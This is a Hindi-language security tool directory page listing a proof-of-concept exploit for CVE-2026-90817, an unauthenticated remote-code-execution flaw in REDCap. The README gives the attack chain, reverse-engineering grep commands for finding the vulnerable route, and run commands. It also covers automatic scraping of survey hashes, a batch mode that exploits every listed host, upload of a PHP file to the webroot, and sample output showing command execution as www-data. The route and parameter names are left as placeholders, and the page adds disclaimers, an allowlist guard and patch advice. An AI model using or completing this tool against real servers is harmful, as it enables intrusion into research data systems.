Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-90817 — CVE-2026-90817 के लिए Python PoC, जो सर्वे passthrough routing और file-path injection के माध्यम से unauthenticated REDCap RCE है, साथ में एक Docker lab और allowlist-guarded targets। | Kitploit
उपकरण/GitHubGitHub/exdev994/cve-2026-90817
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगरिमोट एक्सेस टूलपेलोड डेवलपमेंटलैब और अभ्यास
GitHubexdev994/cve-2026-90817

CVE-2026-90817

CVE-2026-90817 के लिए Python PoC, जो सर्वे passthrough routing और file-path injection के माध्यम से unauthenticated REDCap RCE है, साथ में एक Docker lab और allowlist-guarded targets।

रिपॉजिटरी देखें
7घं 50मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-90817 — REDCap अनधिकृत RCE PoC (केवल अधिकृत उपयोग हेतु)

केवल अधिकृत उपयोग हेतु। प्रत्येक लक्ष्य के कानूनी प्राधिकरण के लिए आप जिम्मेदार हैं। तृतीय-पक्ष REDCap इंस्टेंस के विरुद्ध अनधिकृत उपयोग अवैध है।

भेद्यता सारांश

फ़ील्डमान
CVECVE-2026-90817
उत्पादVanderbilt University REDCap
CVSS9.8 Critical
प्रमाणीकरणअनधिकृत (वैध सार्वजनिक सर्वेक्षण हैश आवश्यक)
प्रभावितREDCap 13.3.0 और उच्चतर
ठीक किया गया16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release
CWECWE-73 (External Control of File Name or Path), CWE-94 (Code Injection)

आक्रमण श्रृंखला:

  1. REDCap इंस्टेंस से एक वैध सार्वजनिक सर्वेक्षण हैश प्राप्त करें।
  2. सर्वेक्षण पासथ्रू रूटिंग के माध्यम से अनपेक्षित कंट्रोलर रूट तक पहुँचने के लिए HTTP अनुरोधों में हेरफेर करें।
  3. Data Import प्रोसेसिंग के दौरान एक तैयार किया गया फ़ाइल-पथ/स्ट्रीम पैरामीटर प्रदान करें।
  4. REDCap सर्वर पर रिमोट कोड निष्पादन प्राप्त करें।

प्रोजेक्ट संरचना

root@kitploit:~
CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (single-target, allowlist-guarded)
├── docker-compose.yml       # MySQL + PHP-Apache lab stack
├── redcap-init/
│   ├── database.php         # REDCap DB config for lab
│   └── php.ini              # PHP settings for lab
├── redcap-src/              # <-- extract REDCap source here (you provide)
├── targets.txt              # Authorized targets: one host per line
├── payload.txt              # Sample file for upload mode
├── requirements.txt         # Python dependencies
└── poc_results.txt          # Generated after PoC run

पूर्वापेक्षाएँ

  • Docker और Docker Compose
  • Python 3.9+
  • Vanderbilt REDCap consortium से REDCap स्रोत ज़िप (भेद्य संस्करण, जैसे 14.x या 15.x)

REDCap लाइसेंस प्राप्त सॉफ़्टवेयर है। आपको इसे अपनी प्रयोगशाला के लिए आधिकारिक चैनलों के माध्यम से प्राप्त करना होगा।

प्रयोगशाला सेटअप

1. REDCap स्रोत निकालें

root@kitploit:~
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.

2. प्रयोगशाला वातावरण प्रारंभ करें

root@kitploit:~
docker compose up -d

MySQL हेल्थचेक पास होने की प्रतीक्षा करें, फिर खोलें:

root@kitploit:~
http://localhost:8080

इन डेटाबेस सेटिंग्स का उपयोग करके REDCap इंस्टॉलेशन विज़ार्ड पूरा करें (redcap-init/database.php में पूर्व-कॉन्फ़िगर):

सेटिंगमान
Hostdb
Databaseredcap
Userredcap
Passwordredcap123

3. एक सार्वजनिक सर्वेक्षण बनाएँ

  1. व्यवस्थापक के रूप में REDCap में लॉग इन करें।
  2. एक नया प्रोजेक्ट बनाएँ।
  3. "Use surveys in this project" सक्षम करें।
  4. सार्वजनिक सर्वेक्षण लिंक खोलें और URL से हैश कॉपी करें (पैरामीटर s=)।

उदाहरण सर्वेक्षण URL:

root@kitploit:~
http://localhost:8080/surveys/?s=ABC123XYZ

सर्वेक्षण हैश: ABC123XYZ

रिवर्स इंजीनियरिंग (प्लेसहोल्डर भरें)

सार्वजनिक सलाहकार सटीक कंट्रोलर रूट या पैरामीटर नाम का खुलासा नहीं करता। अपनी प्रयोगशाला सेट करने के बाद, redcap-src/ पर RE करें और poc_cve_2026_90817.py में TODO स्थिरांक भरें:

root@kitploit:~
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/"       # webroot inside container
UPLOADER_NAME = "x.php"                      # PHP uploader filename

RE मार्गदर्शन

सर्वेक्षण पासथ्रू रूटिंग खोजें:

root@kitploit:~
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

Data Import फ़ाइल-पथ/स्ट्रीम हैंडलिंग खोजें:

root@kitploit:~
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

STAGE1_SUCCESS_MARKER को एक सफल stage-1 प्रतिक्रिया में मौजूद स्ट्रिंग पर सेट करें (वैकल्पिक लेकिन अनुशंसित)।

Python निर्भरताएँ इंस्टॉल करें

root@kitploit:~
pip install -r requirements.txt

PoC चलाएँ

स्क्रिप्ट उन लक्ष्यों को अस्वीकार करती है जो न तो प्रयोगशाला होस्ट (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) हैं और न ही targets.txt में सूचीबद्ध हैं।

सर्वेक्षण हैश

CVE-2026-90817 अनधिकृत है — किसी लॉगिन की आवश्यकता नहीं है। एकमात्र पूर्व-शर्त एक वैध सार्वजनिक सर्वेक्षण हैश है (सर्वेक्षण URL ?s=HASH से)।

उपकरण लक्ष्य के सार्वजनिक पृष्ठों को स्क्रैप करके सर्वेक्षण हैश को स्वतः-खोज सकता है (best-effort)। यह /surveys/?s=HASH लिंक के लिए सामान्य REDCap एंडपॉइंट (/, /redcap/, /index.php, /surveys/) की जाँच करता है। यह केवल तभी काम करता है जब लक्ष्य सार्वजनिक रूप से सर्वेक्षण लिंक उजागर करता है (गलत कॉन्फ़िगर)। उचित रूप से कॉन्फ़िगर किए गए REDCap इंस्टेंस के लिए, --hash के माध्यम से मैन्युअल रूप से हैश प्रदान करें।

  • एकल-लक्ष्य मोड: --hash वैकल्पिक है (छोड़े जाने पर स्वतः-खोज)
  • बैच मोड: प्रति लक्ष्य स्वतः-खोज; जो लक्ष्य सर्वेक्षण लिंक उजागर नहीं करते उन्हें छोड़ दिया जाता है

अधिकृत लक्ष्य (गैर-प्रयोगशाला)

गैर-प्रयोगशाला लक्ष्यों के लिए, targets.txt बनाएँ जिसमें प्रति पंक्ति एक होस्ट हो (FQDN या IP)। सूचीबद्ध प्रत्येक होस्ट के कानूनी प्राधिकरण के लिए आप जिम्मेदार हैं।

root@kitploit:~
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

उदाहरण

स्पष्ट हैश के साथ प्रयोगशाला लक्ष्य:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

स्वतः-खोजे गए हैश के साथ प्रयोगशाला लक्ष्य:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

बैच मोड (targets.txt में सभी होस्ट पर पुनरावृत्ति)

targets.txt में सूचीबद्ध प्रत्येक होस्ट का स्वचालित रूप से शोषण करने के लिए --batch जोड़ें। उपकरण सार्वजनिक पृष्ठों को स्क्रैप करके प्रति लक्ष्य सर्वेक्षण हैश स्वतः-खोजता है। उपकरण सभी लक्ष्य प्रिंट करता है और प्रारंभ करने से पहले पुष्टि माँगता है (स्क्रिप्टिंग के लिए प्रॉम्प्ट छोड़ने हेतु --yes का उपयोग करें)।

root@kitploit:~
python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

पोर्ट --target से विरासत में मिलता है (डिफ़ॉल्ट 8080)। भिन्न पोर्ट का उपयोग करने के लिए, --batch से पहले --target http://placeholder:443/ सेट करें।

प्रत्येक लक्ष्य का परिणाम आउटपुट फ़ाइल में जोड़ा जाता है। अंत में एक सारांश प्रिंट होता है: N success, M failed, T total।

आर्ग्युमेंट

आर्ग्युमेंटडिफ़ॉल्टविवरण
--targethttp://localhost:8080लक्ष्य आधार URL
--hash(वैकल्पिक)सार्वजनिक सर्वेक्षण हैश। छोड़े जाने पर, सार्वजनिक पृष्ठों को स्क्रैप करके स्वतः-खोजा जाता है (best-effort)।
--allowlisttargets.txtलक्ष्य फ़ाइल, प्रति पंक्ति एक होस्ट
--batchबंदलक्ष्य फ़ाइल में सभी होस्ट पर पुनरावृत्ति करें और प्रत्येक का शोषण करें
--yesबंदबैच पुष्टि प्रॉम्प्ट छोड़ें
--modebothid, upload, या both
--outpoc_results.txtपरिणाम लॉग फ़ाइल
--timeout30HTTP टाइमआउट (सेकंड)
--upload-localpayload.txtअपलोड करने के लिए स्थानीय फ़ाइल
--upload-remoteuploaded_payload.txtwebroot के अंतर्गत रिमोट फ़ाइलनाम
--skip-placeholder-checkबंदभरे हुए TODO स्थिरांक के बिना ड्राई-रन HTTP प्रवाह

नोट: स्वतः-खोज केवल उन लक्ष्यों पर काम करती है जो सार्वजनिक रूप से सर्वेक्षण लिंक उजागर करते हैं। अधिकांश REDCap इंस्टेंस के लिए, --hash मैन्युअल रूप से प्रदान करें।

अपेक्षित आउटपुट

सफलता पर, stdout दिखाता है:

root@kitploit:~
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

परिणाम poc_results.txt में जोड़े जाते हैं:

root@kitploit:~
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------

शमन

REDCap 16.0.49 LTS, 17.3.10 LTS, या 17.4.4 Standard Release (जैसा लागू हो) में अपग्रेड करें।

अतिरिक्त हार्डनिंग:

  • जहाँ आवश्यक न हो वहाँ सार्वजनिक सर्वेक्षण एक्सपोज़र को प्रतिबंधित करें।
  • सर्वेक्षण रूट और डेटा इम्पोर्ट एंडपॉइंट को लक्षित करने वाले HTTP अनुरोधों की निगरानी करें।
  • इम्पोर्ट हैंडलर में फ़ाइल-पथ/स्ट्रीम पैरामीटर के सर्वर-साइड सत्यापन की समीक्षा करें।

संदर्भ

  • CVE-2026-90817 (CVE.org)
  • Securifera Advisories
  • खोजकर्ता: Ryan Wincey (@rwincey, Securifera)
टूल डाउनलोड करें